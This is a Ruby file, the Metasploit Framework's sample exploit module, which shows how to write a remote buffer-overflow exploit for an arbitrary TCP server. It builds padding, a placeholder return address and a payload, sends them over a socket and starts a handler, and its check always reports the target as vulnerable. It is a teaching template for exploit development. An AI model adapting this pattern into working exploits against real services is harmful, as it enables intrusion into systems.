86 lines
1.8 KiB
Ruby
86 lines
1.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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###
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#
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# This exploit sample shows how an exploit module could be written to exploit
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# a bug in an arbitrary TCP server.
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#
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###
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class Metasploit4 < Msf::Exploit::Remote
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#
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# This exploit affects TCP servers, so we use the TCP client mixin.
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#
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sample Exploit',
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'Description' => %q{
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This exploit module illustrates how a vulnerability could be exploited
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in an TCP server that has a parsing bug.
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},
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'License' => MSF_LICENSE,
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'Author' => ['skape'],
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'References' =>
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[
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],
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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# Target 0: Windows All
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[
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'Windows XP/Vista/7/8',
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{
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'Platform' => 'win',
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'Ret' => 0x41424344
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}
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],
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],
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'DisclosureDate' => "Apr 1 2013",
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'DefaultTarget' => 0))
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end
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#
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# The sample exploit just indicates that the remote host is always
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# vulnerable.
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#
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def check
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Exploit::CheckCode::Vulnerable
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end
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#
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# The exploit method connects to the remote service and sends 1024 random bytes
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# followed by the fake return address and then the payload.
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#
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def exploit
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connect
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print_status("Sending #{payload.encoded.length} byte payload...")
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# Build the buffer for transmission
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buf = rand_text_alpha(1024)
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buf << [ target.ret ].pack('V')
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buf << payload.encoded
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# Send it off
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sock.put(buf)
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sock.get_once
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handler
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end
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end
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